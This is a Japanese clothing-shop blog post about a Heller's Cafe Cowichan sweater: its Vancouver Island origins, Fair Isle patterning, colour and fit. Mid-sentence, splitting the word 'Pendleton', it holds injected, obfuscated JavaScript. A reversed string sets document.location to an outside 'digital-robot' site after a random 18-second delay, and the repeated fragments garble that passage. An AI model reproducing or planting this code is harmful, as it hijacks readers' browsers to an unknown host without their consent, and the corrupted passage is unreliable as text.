excellent color !
2013/12/08
入植者の技術と現地人のアイディアと
これ、展示会の時からやけに目立ってました。Heller's Cafe のカウチンセーターです。
カウチンセーターはカナダ西岸のバンクーバー島発祥のニットウエア(始まりは敷き物や手ぶくろ、靴下などでした)です。Centinela のラグベストと同様に、ヨーロッパ人の入植によって持ち込まれた紡績やニッティングの技術によって先住民の工芸品として発展していきます。
ラグベストの伝承はスペイン人によるものでしたが、カウチンインディアンの女性たちにニッティングを教えたのはスコットランド人宣教師たちでした。カウチンセーターに動物や自然をモチーフにした柄が編み込まれるようになったのは、彼女たちが持ち込んだフェアアイルニッティングによるものだったんですね。
柄もオーセンティックでいい雰囲気ですが、ここは何と言ってもこのグリーンの発色ですよ! 古いPendledom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}ton のガウンやブランケットで見たことありますが、現行品のカウチンセーターではほとんど使われないのでは。クラシカルでとてもいい色だと思います。
もう10年位前の話ですが、母が旅行先のバンクーバーで「あまりに寒くて買っちゃったわよ」 というカウチンセーターは、ド直球な色柄でしたが、なんじゃこりゃ? という位の見たことのないツヤとハリとボリュームとケモノ臭さで(笑)。プライスもそれなりだったようですが、タグもついておらず現地の人の手作りで現地の人が着るものだったようです。Special なものは世に広くは出回らないんだなぁとその時に思いました。余談でした。

ソデ付けはラグランスリーブ

よく見るとボディー部分と編み方が違います。芸が細かい
ウールをきつく縒ってあるからかコーデュロイの様な畝感があり、カウチンセーターとしては少し薄くてすっきりしたシルエットです。1940年代のものがモチーフになっていて、ショールカラーのような大振りの襟も特徴ですね。

ジッパーはブラスゴールドの棒型TALON。抜かりありません
先日の入荷後、店頭に並ばずにSold になってしまったので、ブログに採り上げるのもどうしようかと思っていたのですが、お買上げのお客様リクエストにお応えしてのエントリです(笑)。
きれいな色柄ですので無地のスウェットやシャンブレーでも当然合いますが、試しに太いピッチのボーダーを合わせてみました。複雑な柄とシンプルで大味なボーダーの合わせはコントラストが付いていい感じじゃないでしょうか?サイズは40を着ています。すっきりシルエットを活かすためにはあまり大きめサイズじゃない方がGood ですね。